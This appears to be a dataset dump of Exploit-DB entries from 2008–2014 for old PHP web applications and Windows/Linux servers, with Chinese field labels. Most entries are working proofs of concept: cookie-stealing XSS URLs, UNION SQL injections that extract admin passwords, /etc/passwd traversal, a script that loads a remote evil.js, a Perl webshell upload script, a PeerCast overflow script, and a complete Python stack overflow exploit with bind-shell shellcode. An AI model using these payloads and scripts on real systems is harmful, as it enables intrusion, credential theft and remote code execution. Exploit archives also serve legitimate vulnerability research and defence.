QLWD/code_shield huggingface dataset:
标题: Tux CMS 0.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31753 CVE: 2008-2126 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/29090/info

Tux CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Tux CMS 0.1 is vulnerable; other versions may also be affected.

http://www.example.com/?q=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=%00""><script>alert(document.cookie)</script> http://www.example.com/tux-syndication/atom.php/>"><ScRiPt>alert(document.cookie)</ScRiPt> URL: https://www.exploit-db.com/exploits/31753
标题: Yahoo! Assistant 3.6 - 'yNotifier.dll' ActiveX Control Memory Corruption EDB-ID: 31748 CVE: 2008-2111 类型: DOS 平台: WINDOWS 发布日期: 2008-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/29065/info

Yahoo! Assistant 'yNotifier.dll' ActiveX control is prone to a memory-corruption vulnerability.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application using the affected ActiveX control. Failed exploit attempts will likely crash the application.

The issue affects Yahoo! Assistant 3.6 and prior versions. 

<object classid='clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691'> URL: https://www.exploit-db.com/exploits/31748
标题: Sphider 1.3.4 - 'query' Cross-Site Scripting EDB-ID: 31751 CVE: 2008-5211 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/29074/info

Sphider is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Sphider 1.3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?query=xsss%20%3Cscript%3Ealert('HELLO');%3C/script%3E&search=1 URL: https://www.exploit-db.com/exploits/31751
标题: BatmanPorTaL - 'profil.asp?id' SQL Injection EDB-ID: 31746 CVE: 2008-6640 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29057/info
 
BatmanPorTaL is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/lab/BatmanPorTaL/profil.asp?id=1+union+select+0,admin_pw,admin_kd,3,4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,1,1+from+ayarlar URL: https://www.exploit-db.com/exploits/31746
标题: Forum Rank System 6 - 'settings['locale']' Multiple Local File Inclusions EDB-ID: 31752 CVE: 2008-2227 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/29077/info

Forum Rank System is prone to local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view files local scripts in the context of the webserver process. This may aid in further attacks.

Forum Rank System 6 is vulnerable; other versions may also be affected. 

http://www.example.com/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00
http://www.example.com/infusions/rank_system/profile.php?settings[locale]=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/31752
标题: BatmanPorTaL - 'uyeadmin.asp?id' SQL Injection EDB-ID: 31745 CVE: 2008-6640 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29057/info

BatmanPorTaL is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/lab/BatmanPorTaL/uyeadmin.asp?islem=uyeduzenle1&id=0+union+select+0,(admin_kd),2,1,(admin_pw),4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,1+from+ayarlar URL: https://www.exploit-db.com/exploits/31745
标题: Maian Uploader 4.0 - 'index.php' Cross-Site Scripting EDB-ID: 31742 CVE: 2008-2202 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29051/info
 
Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Maian Uploader 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/maian/upload/admin/index.php?cmd=search&process=1&keywords="<script>alert(&#039;xss&#039;)</script> URL: https://www.exploit-db.com/exploits/31742
标题: GEDCOM_TO_MYSQL - '/PHP/prenom.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31730 CVE: 2008-6655 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29048/info

GEDCOM_to_MySQL2 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/GEDCOM_to_MySQL2/php/prenom.php?nom_branche=[XSS]
http://www.example.com/GEDCOM_to_MySQL2/php/prenom.php?nom=[XSS] URL: https://www.exploit-db.com/exploits/31730
标题: GEDCOM_TO_MYSQL - '/PHP/index.php?nom_branche' Cross-Site Scripting EDB-ID: 31731 CVE: 2008-6655 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29048/info
 
GEDCOM_to_MySQL2 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/GEDCOM_to_MySQL2/php/index.php?nom_branche=[XSS] URL: https://www.exploit-db.com/exploits/31731
标题: Maian Uploader 4.0 - 'keywords' Cross-Site Scripting EDB-ID: 31741 CVE: 2008-2202 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29051/info

Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Maian Uploader 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?cmd=search&keywords="<script>alert(&#039;xss&#039;)</script> URL: https://www.exploit-db.com/exploits/31741
标题: Maian Uploader 4.0 - 'header.php' Cross-Site Scripting EDB-ID: 31743 CVE: 2008-2202 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29051/info
  
Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Maian Uploader 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/inc/header.php?msg_charset="<script>alert(&#039;xss&#039;)</script>
http://www.example.com/admin/inc/header.php?msg_header9="<script>alert(&#039;xss&#039;)</script>
http://www.example.com/admin/inc/header.php?msg_header9="<script>alert(&#039;xss&#039;)</script> URL: https://www.exploit-db.com/exploits/31743
标题: Ultra Mini HTTPd 1.21 - 'POST' Remote Stack Buffer Overflow (1) EDB-ID: 31736 CVE: 2013-5019 类型: REMOTE 平台: WINDOWS 发布日期: 2014-02-18 漏洞利用脚本: # Exploit Title: Ultra Mini HTTPD stack buffer overflow POST request
# Date: 16 Feb 2014
# Exploit Author: Sumit
# Vendor Homepage: http://www.picolix.jp/
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Version: 1.21
# Tested on: Windows XP Professional SP3
#
# Description:
# A buffer overflow is triggered when requesting a very long url in POST request
#

import socket

shellcode = ( # msfvenom windows/shell_bind_tcp -b '\x00\x09\x0a\x0b\x0c\x0d\x20'
"\xd9\xea\xba\x03\xc9\x19\xa6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x56\x31\x50\x18\x83\xe8\xfc\x03\x50\x17\x2b\xec\x5a" +
"\xff\x22\x0f\xa3\xff\x54\x99\x46\xce\x46\xfd\x03\x62\x57" +
"\x75\x41\x8e\x1c\xdb\x72\x05\x50\xf4\x75\xae\xdf\x22\xbb" +
"\x2f\xee\xea\x17\xf3\x70\x97\x65\x27\x53\xa6\xa5\x3a\x92" +
"\xef\xd8\xb4\xc6\xb8\x97\x66\xf7\xcd\xea\xba\xf6\x01\x61" +
"\x82\x80\x24\xb6\x76\x3b\x26\xe7\x26\x30\x60\x1f\x4d\x1e" +
"\x51\x1e\x82\x7c\xad\x69\xaf\xb7\x45\x68\x79\x86\xa6\x5a" +
"\x45\x45\x99\x52\x48\x97\xdd\x55\xb2\xe2\x15\xa6\x4f\xf5" +
"\xed\xd4\x8b\x70\xf0\x7f\x58\x22\xd0\x7e\x8d\xb5\x93\x8d" +
"\x7a\xb1\xfc\x91\x7d\x16\x77\xad\xf6\x99\x58\x27\x4c\xbe" +
"\x7c\x63\x17\xdf\x25\xc9\xf6\xe0\x36\xb5\xa7\x44\x3c\x54" +
"\xbc\xff\x1f\x31\x71\x32\xa0\xc1\x1d\x45\xd3\xf3\x82\xfd" +
"\x7b\xb8\x4b\xd8\x7c\xbf\x66\x9c\x13\x3e\x88\xdd\x3a\x85" +
"\xdc\x8d\x54\x2c\x5c\x46\xa5\xd1\x89\xc9\xf5\x7d\x61\xaa" +
"\xa5\x3d\xd1\x42\xac\xb1\x0e\x72\xcf\x1b\x39\xb4\x01\x7f" +
"\x6a\x53\x60\x7f\x9d\xff\xed\x99\xf7\xef\xbb\x32\x6f\xd2" +
"\x9f\x8a\x08\x2d\xca\xa6\x81\xb9\x42\xa1\x15\xc5\x52\xe7" +
"\x36\x6a\xfa\x60\xcc\x60\x3f\x90\xd3\xac\x17\xdb\xec\x27" +
"\xed\xb5\xbf\xd6\xf2\x9f\x57\x7a\x60\x44\xa7\xf5\x99\xd3" +
"\xf0\x52\x6f\x2a\x94\x4e\xd6\x84\x8a\x92\x8e\xef\x0e\x49" +
"\x73\xf1\x8f\x1c\xcf\xd5\x9f\xd8\xd0\x51\xcb\xb4\x86\x0f" +
"\xa5\x72\x71\xfe\x1f\x2d\x2e\xa8\xf7\xa8\x1c\x6b\x81\xb4" +
"\x48\x1d\x6d\x04\x25\x58\x92\xa9\xa1\x6c\xeb\xd7\x51\x92" +
"\x26\x5c\x61\xd9\x6a\xf5\xea\x84\xff\x47\x77\x37\x2a\x8b" +
"\x8e\xb4\xde\x74\x75\xa4\xab\x71\x31\x62\x40\x08\x2a\x07" +
"\x66\xbf\x4b\x02" )

EIP = '\x53\x93\x42\x7E' # 7E429353 JMP ESP user.dll
payload = 'A'* 5438 + EIP + '\x90'*50 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80))
buf = "POST / %s HTTP/1.1\r\nHost:127.0.0.1\r\n\r\n" % (payload)

s.send(buf)
s.close() URL: https://www.exploit-db.com/exploits/31736
标题: GEDCOM_TO_MYSQL - '/PHP/info.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31732 CVE: 2008-6655 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29048/info
  
GEDCOM_to_MySQL2 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/GEDCOM_to_MySQL2/php/info.php?nom_branche=[XSS]
http://www.example.com/GEDCOM_to_MySQL2/php/info.php?nom=[XSS]
http://www.example.com/GEDCOM_to_MySQL2/php/info.php?prenom=[XSS] URL: https://www.exploit-db.com/exploits/31732
标题: LifeType 1.2.8 - 'admin.php' Cross-Site Scripting EDB-ID: 31740 CVE: 2008-2196 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29050/info

LifeType is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

LifeType 1.2.8 is vulnerable; other versions may also be affected. 

<html> <head></head> #Vulnerabily discovered by Khashayar Fereidani Or Dr.Crash <body onLoad=javascript:document.form.submit()> <form action="http://www.example.com/lifetype/admin.php?op=editArticleCategories" method="POST" name="form"> <input type="hidden" name="newBlogUserName" value="&#x22;&#x20;[XSS CODE]"> <input type="hidden" name="Add this user" value="Add"> <input type="hidden" name="op" value="addBlogUser"> </form> </body> </html> URL: https://www.exploit-db.com/exploits/31740
标题: SiteXS CMS 0.1.1 - 'upload.php' Arbitrary File Upload EDB-ID: 31729 CVE: 2008-6617 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/29029/info

SiteXS is prone to a vulnerability that lets remote attackers upload and execute arbitrary script code because the application fails to sanitize user-supplied input.

An attacker can leverage this issue to execute arbitrary code on an affected computer with the privileges of the webserver process.

SiteXS CMS 0.1.1 Pre-Alpha is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
# Author : Hadi Kiamarsi
# Discover By : Hadi Kiamarsi
# Exploit By : Hadi Kiamarsi 
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http:www.example.com/[sitexs]/adm/visual/upload.php',     
             Content_Type => 'form-data',
             Content => [
              UPLOAD => ["Your shell file path", "1.gif.php", "Content-Type" => 
"image/gif"],submit => 'true',type => 'images',path => '',process => 'true',
             ],
      );
print $res->as_string(); URL: https://www.exploit-db.com/exploits/31729
标题: Call of Duty 4 1.5 - 'stats' Denial of Service EDB-ID: 31728 CVE: 2008-2106 类型: DOS 平台: MULTIPLE 发布日期: 2008-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/29026/info

Call of Duty is prone to a denial-of-service vulnerability because the application fails to handle specially crafted commands.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

Call of Duty 4 1.5 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31728-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31728-2.zip URL: https://www.exploit-db.com/exploits/31728
标题: Alumni 1.0.8/1.0.9 - 'index.php?year' Cross-Site Scripting EDB-ID: 31724 CVE: 2008-2117 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/29019/info
 
Project Alumni is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
These issues affect Project Alumni 1.0.9; other versions may also be vulnerable.

http://www.example.com/index.php?act=news&year=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31724
标题: Alumni 1.0.8/1.0.9 - 'info.php?id' SQL Injection EDB-ID: 31723 CVE: 2008-2118 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/29019/info

Project Alumni is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Project Alumni 1.0.9; other versions may also be vulnerable.

http://www.example.com/info.php?id=&#039;/**/union/**/select/**/1,2,3,concat(alumniUserName,0x3a,char(58),alumniPassword),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/from/**/alumni_users/**/where/**/userType=0x61646d696e/* URL: https://www.exploit-db.com/exploits/31723
标题: C-News 1.0.1 - 'install.php' Cross-Site Scripting EDB-ID: 31714 CVE: 2008-2219 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/28989/info

C-News is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/install.php?etape=[XSS] URL: https://www.exploit-db.com/exploits/31714
标题: Chicomas 2.0.4 - 'index.php' Cross-Site Scripting EDB-ID: 31727 CVE: 2008-2186 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/29025/info

ChiCoMaS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ChiCoMaS 2.0.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[chicomas]/index.php?q=>"><script>alert(document.cookie)</script> http://www.example.com/[chicomas]/index.php?q="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31727
标题: Zen Cart 2008 - 'index.php?keyword' SQL Injection EDB-ID: 31725 CVE: 2008-6615 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/29020/info

Zen Cart is prone to a cross-site scripting vulnerability and an SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Zen Cart 2008 is vulnerable; other versions may also be affected.

http://www.example.com/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=&#039; &#039; or 1 URL: https://www.exploit-db.com/exploits/31725
标题: VWar 1.6.1 R2 - Multiple Remote Vulnerabilities EDB-ID: 31716 CVE: 2010-5063 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/29001/info

VWar is prone to multiple remote vulnerabilities, including:

- Multiple HTML-injection vulnerabilities
- An SQL-injection vulnerability
- An unauthorized-access vulnerability
- A vulnerability that allows attackers to brute-force authentication credentials

An attacker can exploit these issues to compromise the affected application, gain unauthorized access to the application, execute arbitrary script code, steal cookie-based authentication credentials, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks are also possible.

VWar 1.6.1 R2 is vulnerable; other versions may also be affected. 

  POST /vwar/article.php?rate=1 HTTP/1.1
   Host: mydomain.com
   User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.13)
Gecko/20080311 Firefox/2.0.0.13
   Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
   Accept-Language: en-gb,en;q=0.5
   Accept-Encoding: gzip,deflate
   Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
   Keep-Alive: 300
   Proxy-Connection: keep-alive
   Referer: http://mydomain.com/vwar/article.php?articleid=1
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 64

   ratearticleselect=5, article = char(78,71,83,32,84,69,83,84) URL: https://www.exploit-db.com/exploits/31716
标题: Zen Cart 2008 - 'index.php?keyword' Cross-Site Scripting EDB-ID: 31726 CVE: 2008-6616 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/29020/info
 
Zen Cart is prone to a cross-site scripting vulnerability and an SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Zen Cart 2008 is vulnerable; other versions may also be affected.

http://www.example.com/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=><script src=http://site/scripts/evil.js></script> URL: https://www.exploit-db.com/exploits/31726
标题: EJ3 BlackBook 1.0 - 'footer.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31721 CVE: 2008-2188 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/29015/info

BlackBook is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BlackBook 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/blackbook/footer.php?bookCopyright=<script>alert(document.cookie)</script>
http://www.example.com/blackbook/footer.php?ver=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31721
标题: PeerCast 0.1218 - 'getAuthUserPass' Multiple Buffer Overflow Vulnerabilities EDB-ID: 31713 CVE: 2008-2040 类型: DOS 平台: LINUX 发布日期: 2008-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/28986/info

PeerCast is prone to multiple buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized buffer.

Successfully exploiting these issues will allow an attacker to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely crash the application.

These issues affect PeerCast 0.1218; other versions may also be affected.

#!/usr/bin/env python

import sys, socket

port = 7144
buff = 'GET /http/ HTTP/1.1\n'
buff+= 'Connection: close\n'
buff+= 'Accept: */*\n'
buff+= 'Authorization: Basic OmZ' + 'vb29'*128 + 'vbwo=' + '\r\n'

if(len(sys.argv) < 2):
 print "ERR: please specify a hostname"
 sys.exit(-1)

try:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((sys.argv[1], port))
 s.send(buff);
except:
 print "ERR: socket()"
 sys.exit(-1) URL: https://www.exploit-db.com/exploits/31713